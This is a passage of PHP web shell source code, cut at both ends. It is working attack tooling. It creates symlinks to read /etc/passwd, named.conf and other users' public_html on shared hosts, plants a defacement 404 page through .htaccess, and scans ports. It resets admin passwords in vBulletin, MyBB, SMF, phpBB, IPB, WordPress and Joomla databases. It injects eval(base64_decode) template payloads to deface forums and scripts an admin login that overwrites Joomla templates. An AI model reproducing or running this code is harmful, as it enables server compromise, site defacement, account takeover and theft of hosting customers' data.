1473 <form onSubmit="getdata('symlinkmyfile',file.value);return false;">
1474 <input type="text" class="box" name="file" size="50" value="/etc/passwd">
1475 <input type="button" value="Create Symlink" onClick="getdata('symlinkmyfile',file.value)" class="but">
1476 </form></center>
1477 <br><br>
1478 <?php
1479 }
1480}
1481
1482else if(isset($_GET['symlinkmyfile']))
1483{
1484 if(stristr(php_uname(),"Linux"))
1485 {
1486 $fakedir="cx";
1487 $fakedep=16;
1488
1489 $num=0; // offset of symlink.$num
1490
1491 if(!empty($_GET['myfile']))
1492 $file=$_GET['myfile'];
1493 else $file="";
1494
1495 if(empty($file))
1496 exit;
1497
1498 if(!is_writable("."))
1499 echo "not writable directory";
1500
1501 $level=0;
1502
1503 for($as=0;$as<$fakedep;$as++)
1504 {
1505 if(!file_exists($fakedir))
1506 mkdir($fakedir);
1507 chdir($fakedir);
1508 }
1509
1510 while(1<$as--) chdir("..");
1511
1512 $hardstyle = explode("/", $file);
1513
1514 for($a=0;$a<count($hardstyle);$a++)
1515 {
1516 if(!empty($hardstyle[$a]))
1517 {
1518 if(!file_exists($hardstyle[$a]))
1519 mkdir($hardstyle[$a]);
1520 chdir($hardstyle[$a]);
1521 $as++;
1522 }
1523 }
1524 $as++;
1525 while($as--)
1526 chdir("..");
1527
1528 @rmdir("fakesymlink");
1529 @unlink("fakesymlink");
1530
1531 @symlink(str_repeat($fakedir."/",$fakedep),"fakesymlink");
1532
1533 while(1)
1534 if(true==(@symlink("fakesymlink/".str_repeat("../",$fakedep-1).$file, "symlink".$num))) break;
1535 else $num++;
1536
1537 @unlink("fakesymlink");
1538 mkdir("fakesymlink");
1539
1540 echo '<CENTER>check symlink <a href="./symlink'.$num.'">symlink'.$num.'</a> file</CENTER>';
1541 }
1542 else
1543 echo '<CENTER>Cannot Create Symlink</CENTER>';
1544}
1545else if(isset($_REQUEST['404new']))
1546{
1547 ?>
1548 <form>
1549 <center><textarea name=message cols=100 rows=18 class=box>lol! You just got hacked</textarea></br>
1550 <input type="button" onClick="my404page(message.value)" value=" Save " class=but></center>
1551 </br>
1552 </form>
1553 <?php
1554}
1555else if(isset($_REQUEST['404page']))
1556{
1557 $url = $_SERVER['REQUEST_URI'];
1558 $path=explode('/',$url);
1559 $url =str_replace($path[count($path)-1],'',$url);
1560 if(isset($_POST['message']))
1561 {
1562 if($myfile = fopen(".htaccess", "a"))
1563 {
1564 fwrite($myfile, "ErrorDocument 404 ".$url."404.html \n\r");
1565 if($myfilee = fopen("404.html", "w+"))
1566 {
1567 fwrite($myfilee, $_POST['message']);
1568 }
1569 echo "<center><font class=txt>Done setting 404 Page !!!!</font></center>";
1570 }
1571 else
1572 echo "<center>Cannot Set 404 Page</center>";
1573 }
1574 else if(strlen($ind) != 0)
1575 {
1576 if($myfile = fopen(".htaccess", "a"))
1577 {
1578 fwrite($myfile, "ErrorDocument 404 ".$url."404.html \n\r");
1579
1580 if($myfilee = fopen("404.html", "w+"))
1581 {
1582 fwrite($myfilee, base64_decode($ind));
1583
1584 fclose($myfilee);
1585 echo "<center><font class=txt>Done setting 404 Page !!!!</font></center>";
1586 }
1587 fclose($myfile);
1588 }
1589 else
1590 {
1591 echo "<center>Cannot Set 404 Page</center>";
1592 }
1593 }
1594 else
1595 echo "<center>Nothing Specified in the shell</center>";
1596}
1597else if(isset($_GET["domains"]))
1598{
1599 ?><center><iframe src="<?php echo 'http://sameip.org/ip/' . getenv('SERVER_ADDR'); ?>" width="80%" height="1000px"></iframe></center><?php
1600}
1601else if(isset($_GET["symlink"]))
1602{
1603 $d0mains = @file("/etc/named.conf");
1604 $url = 'http://'.$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'];
1605 $path=explode('/',$url);
1606 $url =str_replace($path[count($path)-1],'',$url);
1607 if($d0mains)
1608 {
1609 @mkdir("dhanush",0777);
1610 @chdir("dhanush");
1611 execmd("ln -s / root");
1612 $file3 = 'Options all
1613 DirectoryIndex Sux.html
1614 AddType text/plain .php
1615 AddHandler server-parsed .php
1616 AddType text/plain .html
1617 AddHandler txt .html
1618 Require None
1619 Satisfy Any
1620 ';
1621 $fp3 = fopen('.htaccess','w');
1622 $fw3 = fwrite($fp3,$file3);
1623 @fclose($fp3);
1624 echo "<table align=center border=1 style='width:60%;border-color:#333333;'><tr align =center><td align=center><font size=3 >S. No.</font></td><td align=center><font size=3 >Domains</font></td><td align=center><font size=3 >Users</font></td><td align=center><font size=3 >Symlink</font></td><td align=center><font size=3 >Information</font></td></tr>";
1625
1626 $dcount = 1;
1627 foreach($d0mains as $d0main)
1628 {
1629 if(eregi("zone",$d0main))
1630 {
1631 preg_match_all('#zone "(.*)"#', $d0main, $domains);
1632 flush();
1633
1634 if(strlen(trim($domains[1][0])) > 2)
1635 {
1636 $user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
1637
1638 echo "<tr align=center><td><font class=txt>" . $dcount . "</font></td><td align=left><a href=http://www.".$domains[1][0]."/><font class=txt>".$domains[1][0]."</font></a></td><td><font class=txt>".$user['name']."</font></td><td><a href=".$url."dhanush/root/home/".$user['name']."/public_html target='_blank'><font class=txt>Symlink</font></a></td><td><font class=txt><a href=?info=".$domains[1][0]." target=_blank>info</a></font></td></tr>"; flush();
1639 $dcount++;
1640 }
1641 }
1642
1643 }
1644 echo "</table>";
1645 }
1646 else
1647 {
1648 if(stristr(php_uname(),"Linux"))
1649 {
1650 ?>
1651 <div style="float:left;position:fixed;">
1652 <form>
1653 <table cellpadding="9">
1654 <tr>
1655 <th colspan="2">Get User Name</th>
1656 </tr>
1657 <tr>
1658 <td>Enter Website Name :</td>
1659 <td><input type="text" name="sitename" value="sitename.com" class="sbox"></td>
1660 </tr>
1661 <tr>
1662 <td align="center" colspan="2"><input type="button" onClick="getname(sitename.value)" value=" Get IT " class="but"></td>
1663 </tr>
1664 <tr>
1665 <td colspan=2 align=center><div style="width:250px;" id="showsite"></div></td>
1666 </tr>
1667 </table>
1668 </form>
1669 </div>
1670 <?php
1671 $TEST=@file('/etc/passwd');
1672 if ($TEST)
1673 {
1674 @mkdir("dhanush",0777);
1675 @chdir("dhanush");
1676 execmd("ln -s / root");
1677 $file3 = 'Options all
1678 DirectoryIndex Sux.html
1679 AddType text/plain .php
1680 AddHandler server-parsed .php
1681 AddType text/plain .html
1682 AddHandler txt .html
1683 Require None
1684 Satisfy Any
1685 ';
1686 $fp3 = fopen('.htaccess','w');
1687 $fw3 = fwrite($fp3,$file3);
1688 @fclose($fp3);
1689
1690 echo "<table align=center border=1 style='width:40%;border-color:#333333;'><tr><td align=center><font size=4 >S. No.</font></td><td align=center><font size=4 >Users</font></td><td align=center><font size=3 >Symlink</font></td></tr>";
1691
1692 $dcount = 1;
1693 $file = fopen("/etc/passwd", "r");
1694 //Output a line of the file until the end is reached
1695 while(!feof($file))
1696 {
1697 $s = fgets($file);
1698 $matches = array();
1699 $t = preg_match('/\/(.*?)\:\//s', $s, $matches);
1700 $matches = str_replace("home/","",$matches[1]);
1701 if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
1702 continue;
1703 echo "<tr><td align=center><font size=3 class=txt>" . $dcount . "</td><td align=center><font size=3 class=txt>" . $matches . "</td>";
1704 echo "<td align=center><font size=3 class=txt><a href=".$url."dhanush/root/home/" . $matches . "/public_html target='_blank'>Symlink</a></td></tr>";
1705 $dcount++;
1706 }
1707 fclose($file);
1708
1709 echo "</table>";
1710 }
1711 else
1712 {
1713 @mkdir("dhanush",0777);
1714 @chdir("dhanush");
1715 execmd("ln -s / root");
1716 $file3 = 'Options all
1717 DirectoryIndex Sux.html
1718 AddType text/plain .php
1719 AddHandler server-parsed .php
1720 AddType text/plain .html
1721 AddHandler txt .html
1722 Require None
1723 Satisfy Any
1724 ';
1725 $fp3 = fopen('.htaccess','w');
1726 $fw3 = fwrite($fp3,$file3);
1727 @fclose($fp3);
1728
1729 echo "<table align=center border=1 style='width:40%;border-color:#333333;'><tr><td align=center><font size=4 >S. No.</font></td><td align=center><font size=4 >Users</font></td><td align=center><font size=3 >Symlink</font></td></tr>";
1730
1731 $temp = "";
1732 $val1 = 0;
1733 $val2 = 1000;
1734 for(;$val1 <= $val2;$val1++)
1735 {
1736 $uid = @posix_getpwuid($val1);
1737 if ($uid)
1738 $temp .= join(':',$uid)."\n";
1739 }
1740 echo '<br/>';
1741 $temp = trim($temp);
1742
1743 $file5 = fopen("test.txt","w");
1744 fputs($file5,$temp);
1745 fclose($file5);
1746
1747 $dcount = 1;
1748 $file = fopen("test.txt", "r");
1749 while(!feof($file))
1750 {
1751 $s = fgets($file);
1752 $matches = array();
1753 $t = preg_match('/\/(.*?)\:\//s', $s, $matches);
1754 $matches = str_replace("home/","",$matches[1]);
1755 if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
1756 continue;
1757 echo "<tr><td align=center><font size=3 class=txt>" . $dcount . "</td><td align=center><font size=3 class=txt>" . $matches . "</td>";
1758 echo "<td align=center><font size=3 class=txt><a href=".$url."dhanush/root/home/" . $matches . "/public_html target='_blank'>Symlink</a></td></tr>";
1759 $dcount++;
1760 }
1761 fclose($file);
1762 echo "</table>";
1763 unlink("test.txt");
1764 }
1765 }
1766 else
1767 echo "<center><font size=4 >Cannot create Symlink</font></center>";
1768 }
1769}
1770else if(isset($_GET['host']) && isset($_GET['protocol']))
1771{
1772 echo "Open Ports: ";
1773 $host = $_GET['host'];
1774 $proto = $_GET['protocol'];
1775 $myports = array("21","22","23","25","59","80","113","135","445","1025","5000","5900","6660","6661","6662","6663","6665","6666","6667","6668","6669","7000","8080","8018");
1776 for($current = 0; $current <= 23; $current++)
1777 {
1778 $currents = $myports[$current];
1779 $service = getservbyport($currents, $proto);
1780 // Try to connect to port
1781 $result = fsockopen($host, $currents, $errno, $errstr, 1);
1782 // Show results
1783 if($result)
1784 echo "<font class=txt>$currents, </font>";
1785 }
1786}
1787else if(isset($_REQUEST['forumpass']))
1788{
1789 $localhost = $_GET['f1'];
1790 $database = $_GET['f2'];
1791 $username = $_GET['f3'];
1792 $password = $_GET['f4'];
1793 $prefix = $_GET['prefix'];
1794 $newpass = $_GET['newpass'];
1795 $uid = $_GET['uid'];
1796
1797 if($_GET['forums'] == "vb")
1798 {
1799 $newpass = $_GET['newipbpass'];
1800 $uid = $_GET['ipbuid'];
1801 $con = mysql_connect($localhost,$username,$password);
1802 $db = mysql_select_db($database,$con);
1803 $salt = "eghjghrtd";
1804 $newpassword = md5(md5($newpass) . $salt);
1805 if($prefix == "" || $prefix == null)
1806 $sql = mysql_query("update user set password = '$newpassword', salt = '$salt' where userid = '$uid'");
1807 else
1808 $sql = mysql_query("update ".$prefix."user set password = '$newpassword', salt = '$salt' where userid = '$uid'");
1809 if($sql)
1810 {
1811 mysql_close($con);
1812 echo "<font class=txt>Password Changed Successfully</font>";
1813 }
1814 else
1815 echo "Cannot Change Password";
1816 }
1817 else if($_GET['forums'] == "mybb")
1818 {
1819 $newpass = $_GET['newipbpass'];
1820 $uid = $_GET['ipbuid'];
1821 $con = mysql_connect($localhost,$username,$password);
1822 $db = mysql_select_db($database,$con);
1823 $salt = "jeghj";
1824 $newpassword = md5(md5($salt).md5($newpass));
1825 if($prefix == "" || $prefix == null)
1826 $sql = mysql_query("update mybb_users set password = '$newpassword', salt = '$salt' where uid = '$uid'");
1827 else
1828 $sql = mysql_query("update ".$prefix."users set password = '$newpassword', salt = '$salt' where uid = '$uid'");
1829 if($sql)
1830 {
1831 mysql_close($con);
1832 echo "<font class=txt>Password Changed Successfully</font>";
1833 }
1834 else
1835 echo "Cannot Change Password";
1836 }
1837 else if($_GET['forums'] == "smf")
1838 {
1839 $newpass = $_GET['newipbpass'];
1840 $uid = $_GET['ipbuid'];
1841 $con = mysql_connect($localhost,$username,$password);
1842 $db = mysql_select_db($database,$con);
1843
1844 if($prefix == "" || $prefix == null)
1845 {
1846 $result = mysql_query("select member_name from smf_members where id_member = $uid");
1847 $row = mysql_fetch_array($result);
1848 $membername = $row['member_name'];
1849 $newpassword = sha1(strtolower($membername).$newpass);
1850 $sql = mysql_query("update smf_members set passwd = '$newpassword' where id_member = '$uid'");
1851 }
1852 else
1853
1854 {
1855 $result = mysql_query("select member_name from ".$prefix."members where id_member = $uid");
1856 $row = mysql_fetch_array($result);
1857 $membername = $row['member_name'];
1858 $newpassword = sha1(strtolower($membername).$newpass);
1859 $sql = mysql_query("update ".$prefix."members set passwd = '$newpassword' where id_member = '$uid'");
1860 }
1861 if($sql)
1862 {
1863 mysql_close($con);
1864 echo "<font class=txt>Password Changed Successfully</font>";
1865 }
1866 else
1867 echo "Cannot Change Password";
1868 }
1869 else if($_GET['forums'] == "phpbb")
1870 {
1871 $newpass = $_POST['newipbpass'];
1872 $uid = $_POST['ipbuid'];
1873 $con = mysql_connect($localhost,$username,$password);
1874 $db = mysql_select_db($database,$con);
1875
1876 $newpassword = md5($newpass);
1877 if(empty($prefix) || $prefix == null)
1878 $sql = mysql_query("update phpb_users set user_password = '$newpassword' where user_id = '$uid'");
1879 else
1880 $sql = mysql_query("update ".$prefix."users set user_password = '$newpassword' where user_id = '$uid'");
1881 if($sql)
1882 {
1883 mysql_close($con);
1884 echo "<font class=txt>Password Changed Successfully</font>";
1885 }
1886 else
1887 echo "Cannot Change Password";
1888 }
1889 else if($_GET['forums'] == "ipb")
1890 {
1891 $newpass = $_POST['newipbpass'];
1892 $uid = $_POST['ipbuid'];
1893 $con = mysql_connect($localhost,$username,$password);
1894 $db = mysql_select_db($database,$con);
1895 $salt = "eghj";
1896 $newpassword = md5(md5($salt).md5($newpass));
1897 if($prefix == "" || $prefix == null)
1898 $sql = mysql_query("update members set members_pass_hash = '$newpassword', members_pass_salt = '$salt' where member_id = '$uid'");
1899 else
1900 $sql = mysql_query("update ".$prefix."members set members_pass_hash = '$newpassword', members_pass_salt = '$salt' where member_id = '$uid'");
1901 if($sql)
1902 {
1903 mysql_close($con);
1904 echo "<font class=txt>Password Changed Successfully</font>";
1905 }
1906 else
1907 echo "Cannot Change Password";
1908 }
1909 else if($_GET['forums'] == "wp")
1910 {
1911 $uname = $_GET['uname'];
1912 $con = mysql_connect($localhost,$username,$password);
1913 $db = mysql_select_db($database,$con);
1914
1915 $newpassword = md5($newpass);
1916 if($prefix == "" || $prefix == null)
1917 $sql = mysql_query("update wp_users set user_pass = '$newpassword', user_login = '$uname' where ID = '$uid'");
1918 else
1919 $sql = mysql_query("update ".$prefix."users set user_pass = '$newpassword', user_login = '$uname' where ID = '$uid'");
1920 if($sql)
1921 {
1922 mysql_close($con);
1923 echo "<font class=txt>Password Changed Successfully</font>";
1924 }
1925 else
1926 echo "Cannot Change Password";
1927 }
1928 else if($_GET['forums'] == "joomla")
1929 {
1930 $newjoomlapass = $_GET['newjoomlapass'];
1931 $joomlauname = $_GET['username'];
1932 $con = mysql_connect($localhost,$username,$password);
1933 $db = mysql_select_db($database,$con);
1934
1935 $newpassword = md5($newjoomlapass);
1936 if($prefix == "" || $prefix == null)
1937 $sql = mysql_query("update jos_users set password = '$newpassword', username = '$joomlauname' where name = 'Super User'");
1938 else
1939 $sql = mysql_query("update ".$prefix."users set password = '$newpassword', username = '$joomlauname' where name = 'Super User' OR name = 'Administrator'");
1940 if($sql)
1941 {
1942 mysql_close($con);
1943 echo "<font class=txt>Password Changed Successfully</font>";
1944 }
1945 else
1946 echo "Cannot Change Password";
1947 }
1948}
1949else if(isset($_POST['forumdeface']))
1950{
1951 $localhost = $_POST['f1'];
1952 $database = $_POST['f2'];
1953 $username = $_POST['f3'];
1954 $password = $_POST['f4'];
1955 $index = $_POST['index'];
1956 $prefix = $_POST['tableprefix'];
1957
1958 if($_POST['forumdeface'] == "vb")
1959 {
1960 $con =@ mysql_connect($localhost,$username,$password);
1961 $db =@ mysql_select_db($database,$con);
1962 $index=str_replace('"','\\"',$index);
1963 $attack = "{\${eval(base64_decode(\'";
1964 $attack .= base64_encode("echo \"$index\";");
1965 $attack .= "\'))}}{\${exit()}}</textarea>";
1966 if($prefix == "" || $prefix == null)
1967 $query = "UPDATE template SET template = '$attack'";
1968 else
1969 $query = "UPDATE ".$prefix."template SET template = '$attack'";
1970 $result =@ mysql_query($query,$con);
1971 if($result)
1972 echo "<center><font class=txt size=4><blink>Vbulletin Forum Defaced Successfully</blink></font></center>";
1973 else
1974 echo "<center><font size=4><blink>Cannot Deface Vbulletin Forum</blink></font></center>";
1975 }
1976 else if($_POST['forumdeface'] == "mybb")
1977 {
1978 $con =@ mysql_connect($localhost,$username,$password);
1979 $db =@ mysql_select_db($database,$con);
1980 $attack = "{\${eval(base64_decode(\'";
1981 $attack .= base64_encode("echo \"$index\";");
1982 $attack .= "\'))}}{\${exit()}}</textarea>";
1983 $attack = str_replace('"',"\\'",$attack);
1984
1985 if($prefix == "" || $prefix == null)
1986 $query = "UPDATE mybb_templates SET template = '$attack'";
1987 else
1988 $query = "UPDATE ".$prefix."templates SET template = '$attack'";
1989 $result =@ mysql_query($query,$con);
1990 if($result)
1991 echo "<center><font class=txt size=4><blink>Mybb Forum Defaced Successfully</blink></font></center>";
1992 else
1993 echo "<center><font size=4><blink>Cannot Deface Mybb Forum</blink></font></center>";
1994 }
1995 else if($_POST['forumdeface'] == "smf")
1996 {
1997 $head = $_POST['head'];
1998 $catid = $_POST['f5'];
1999
2000 $con =@ mysql_connect($localhost,$username,$password);
2001 $db =@ mysql_select_db($database,$con);
2002 if($prefix == "" || $prefix == null)
2003 $query = "UPDATE boards SET name='$head', description='$index' WHERE id_cat='$catid'";
2004 else
2005 $query = "UPDATE ".$prefix."boards SET name='$head', description='$index' WHERE id_cat='$catid'";
2006 $result =@ mysql_query($query,$con);
2007 if($result)
2008 echo "<center><font class=txt size=4><blink>SMF Forum Index Changed Successfully</blink></font></center>";
2009 else
2010 echo "<center><font size=4><blink>Cannot Deface SMF Forum</blink></font></center>";
2011 }
2012 else if($_POST['forumdeface'] == "ipb")
2013 {
2014 $head = $_POST['head'];
2015 $catid = $_POST['f5'];
2016
2017 $IPB = "forums";
2018 $con =@ mysql_connect($localhost,$username,$password);
2019 $db =@ mysql_select_db($database,$con);
2020 if($prefix == "" || $prefix == null)
2021 $result =@mysql_query($query = "UPDATE $IPB SET name = '$head', description = '$index' where id = '$catid'");
2022 else
2023 $result =@mysql_query($query = "UPDATE $prefix.$IPB SET name = '$head', description = '$index' where id = '$catid'");
2024 if($result)
2025 echo "<center><font class=txt size=4><blink>Forum Defaced Successfully</blink></font></center>";
2026 else
2027 echo "<center><font size=4><blink>Cannot Deface Forum</blink></font></center>";
2028 }
2029 else if($_POST['forumdeface'] == "wp")
2030 {
2031 $catid = $_POST['f5'];
2032 $head = $_POST['head'];
2033
2034 $con =@ mysql_connect($localhost,$username,$password);
2035 $db =@ mysql_select_db($database,$con);
2036 if($prefix == "" || $prefix == null)
2037 {
2038 if(isset($_POST["alll"]) && $_POST["alll"] == "All")
2039 $query = "UPDATE wp_posts SET post_title='$head', post_content='$index'";
2040 else
2041 $query = "UPDATE wp_posts SET post_title='$head', post_content='$index' WHERE ID='$catid'";
2042 }
2043 else
2044 {
2045 if(isset($_POST["alll"]) && $_POST["alll"] == "All")
2046 $query = "UPDATE ".$prefix."posts SET post_title='$head', post_content='$index'";
2047 else
2048 $query = "UPDATE ".$prefix."posts SET post_title='$head', post_content='$index' WHERE ID='$catid'";
2049
2050 }
2051 $result =@mysql_query($query,$con) or mysql_error();
2052 if($result)
2053 echo "<center><font class=txt size=4><blink>Wordpress Defaced Successfully</blink></font></center>";
2054 else
2055 echo "<center><font size=4><blink>Cannot Deface Wordpress</blink></font></center>";
2056 }
2057 else if($_POST['forumdeface'] == "joomla")
2058 {
2059 $site_url = $_POST['siteurl'];
2060 $dbprefix = $_POST['tableprefix'];
2061 $dbname = $_POST['f2'];
2062 $h="<? echo(stripslashes(base64_decode('".urlencode(base64_encode(str_replace("'","'",($_POST['index']))))."'))); exit; ?>";
2063
2064 function randomt()
2065 {
2066 $chars = "abcdefghijkmnopqrstuvwxyz023456789";
2067 srand((double)microtime()*1000000);
2068 $i = 0;
2069 $pass = '' ;
2070
2071 while ($i <= 7)
2072 {
2073 $num = rand() % 33;
2074 $tmp = substr($chars, $num, 1);
2075 $pass = $pass . $tmp;
2076 $i++;
2077 }
2078
2079 return $pass;
2080 }
2081 function entre2v2($text,$marqueurDebutLien,$marqueurFinLien,$i=1)
2082 {
2083 $ar0=explode($marqueurDebutLien, $text);
2084 $ar1=explode($marqueurFinLien, $ar0[$i]);
2085 $ar=trim($ar1[0]);
2086 return $ar;
2087 }
2088 $co=randomt();
2089
2090 $link=mysql_connect($localhost,$username,$password) ;
2091 mysql_select_db($dbname,$link);
2092
2093 $tryChaningInfo = mysql_query("UPDATE ".$dbprefix."users SET username ='admin' , password = '2a9336f7666f9f474b7a8f67b48de527:DiWqRBR1thTQa2SvBsDqsUENrKOmZtAX'");
2094
2095 $req =mysql_query("SELECT * from `".$dbprefix."extensions` ");
2096
2097 if ( $req )
2098 {
2099 $req =mysql_query("SELECT * from `".$dbprefix."template_styles` WHERE client_id='0' and home='1'");
2100 $data = mysql_fetch_array($req);
2101 $template_name=$data["template"];
2102
2103 $req =mysql_query("SELECT * from `".$dbprefix."extensions` WHERE name='".$template_name."'");
2104 $data = mysql_fetch_array($req);
2105 $template_id=$data["extension_id"];
2106
2107 $url2=$site_url."/index.php";
2108
2109 $ch = curl_init();
2110 curl_setopt($ch, CURLOPT_URL, $url2);
2111 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
2112 curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
2113 curl_setopt($ch, CURLOPT_HEADER, 1);
2114 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
2115 curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
2116 curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
2117
2118
2119 $buffer = curl_exec($ch);
2120
2121 $return=entre2v2($buffer ,'<input type="hidden" name="return" value="','"');
2122 $hidden=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',4);
2123
2124
2125 $url2=$site_url."/index.php";
2126 $ch = curl_init();
2127 curl_setopt($ch, CURLOPT_URL, $url2);
2128 curl_setopt($ch, CURLOPT_POST, 1);
2129 curl_setopt($ch, CURLOPT_POSTFIELDS,"username=admin&passwd=123456789&option=com_login&task=login&return=".$return."&".$hidden."=1");
2130 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
2131 curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
2132 curl_setopt($ch, CURLOPT_HEADER, 0);
2133 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
2134 curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
2135 curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
2136 $buffer = curl_exec($ch);
2137
2138 $pos = strpos($buffer,"com_config");
2139 if($pos === false)
2140 {
2141 echo("<br>[-] Login Error");
2142 exit;
2143 }
2144
2145 $url2=$site_url."/index.php?option=com_templates&task=source.edit&id=".base64_encode($template_id.":index.php");
2146 $ch = curl_init();
2147 curl_setopt($ch, CURLOPT_URL, $url2);
2148 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
2149 curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
2150 curl_setopt($ch, CURLOPT_HEADER, 0);
2151 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
2152 curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
2153
2154 curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
2155 $buffer = curl_exec($ch);
2156
2157 $hidden2=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',2);
2158 if(!$hidden2)
2159 {
2160 echo("<br>[-] index.php Not found in Theme Editor");
2161 exit;
2162 }
2163
2164 $url2=$site_url."/index.php?option=com_templates&layout=edit";
2165
2166 $ch = curl_init();
2167 curl_setopt($ch, CURLOPT_URL, $url2);
2168 curl_setopt($ch, CURLOPT_POST, 1);
2169 curl_setopt($ch, CURLOPT_POSTFIELDS,"jform[source]=".$h."&jform[filename]=index.php&jform[extension_id]=".$template_id."&".$hidden2."=1&task=source.save");
2170
2171 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
2172 curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
2173 curl_setopt($ch, CURLOPT_HEADER, 0);
2174 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
2175 curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
2176 curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
2177 $buffer = curl_exec($ch);
2178
2179 $pos = strpos($buffer,'<dd class="message message">');
2180 if($pos === false)
2181 {
2182 echo("<center><font size=4><blink>Cannot Deface Joomla</blink></font></center>");
2183 }
2184 else
2185 {
2186 echo("<center><font class=txt size=4><blink>Joomla Defaced Successfully</blink></font></center>");
2187 }
2188 }
2189 else
2190 {
2191 $req =mysql_query("SELECT * from `".$dbprefix."templates_menu` WHERE client_id='0'");
2192 $data = mysql_fetch_array($req);
2193 $template_name=$data["template"];
2194
2195 $url2=$site_url."/index.php";
2196 $ch = curl_init();
2197 curl_setopt($ch, CURLOPT_URL, $url2);
2198 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
2199 curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
2200 curl_setopt($ch, CURLOPT_HEADER, 1);
2201 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
2202 curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
2203 curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
2204 $buffer = curl_exec($ch);
2205
2206 $hidden=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',3);
2207
2208 $url2=$site_url."/index.php";
2209 $ch = curl_init();
2210 curl_setopt($ch, CURLOPT_URL, $url2);
2211 curl_setopt($ch, CURLOPT_POST, 1);
2212 curl_setopt($ch, CURLOPT_POSTFIELDS,"username=admin&passwd=123456789&option=com_login&task=login&".$hidden."=1");
2213 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
2214 curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
2215 curl_setopt($ch, CURLOPT_HEADER, 0);
2216 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
2217 curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
2218 curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
2219 $buffer = curl_exec($ch);
2220
2221 $pos = strpos($buffer,"com_config");
2222
2223 if($pos === false)
2224 {
2225 echo("<br>[-] Login Error");
2226 exit;
2227 }
2228
2229 $url2=$site_url."/index.php?option=com_templates&task=edit_source&client=0&id=".$template_name;
2230 $ch = curl_init();
2231 curl_setopt($ch, CURLOPT_URL, $url2);
2232 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
2233 curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
2234 curl_setopt($ch, CURLOPT_HEADER, 0);
2235 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
2236 curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
2237 curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
2238 $buffer = curl_exec($ch);
2239
2240 $hidden2=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',6);
2241
2242 if(!$hidden2)
2243 {
2244 echo("<br>[-] index.php Not found in Theme Editor");
2245 }
2246
2247 $url2=$site_url."/index.php?option=com_templates&layout=edit";
2248 $ch = curl_init();
2249 curl_setopt($ch, CURLOPT_URL, $url2);
2250 curl_setopt($ch, CURLOPT_POST, 1);
2251 curl_setopt($ch, CURLOPT_POSTFIELDS,"filecontent=".$h."&id=".$template_name."&cid[]=".$template_name."&".$hidden2."=1&task=save_source&client=0");
2252 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
2253 curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
2254 curl_setopt($ch, CURLOPT_HEADER, 0);
2255 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
2256 curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
2257 curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
2258 $buffer = curl_exec($ch);
2259
2260 $pos = strpos($buffer,'<dd class="message message fade">');
2261 if($pos === false)
2262 {
2263 echo("<center><font size=4><blink>Cannot Deface Joomla</blink></font></center>");
2264 exit;
2265 }
2266 else
2267 {
2268 echo("<center><font class=txt size=4><blink>Joomla Defaced Successfully</blink></font></center>");
2269 }
2270 }
2271 }
2272}
2273else if(isset($_POST['pathtomass']) && $_POST['pathtomass'] != '' && isset($_POST['filetype']) && $_POST['filetype'] != '' && isset($_POST['mode']) && $_POST['mode'] != '' && isset($_POST['injectthis']) && $_POST['injectthis'] != '')
2274{
2275 $filetype = $_POST['filetype'];
2276
2277 $mode = "a";
2278
2279 if($_POST['mode'] == 'Apender')
2280 $mode = "a";
2281
2282 if($_POST['mode'] == 'Overwriter')
2283 $mode = "w";
2284
2285 if (is_dir($_POST['pathtomass']))
2286 {
2287 $lolinject = $_POST['injectthis'];
2288 $mypath = $_POST['pathtomass'] .$directorysperator. "*.".$filetype;
2289 if(substr($_POST['pathtomass'], -1) == "\\")
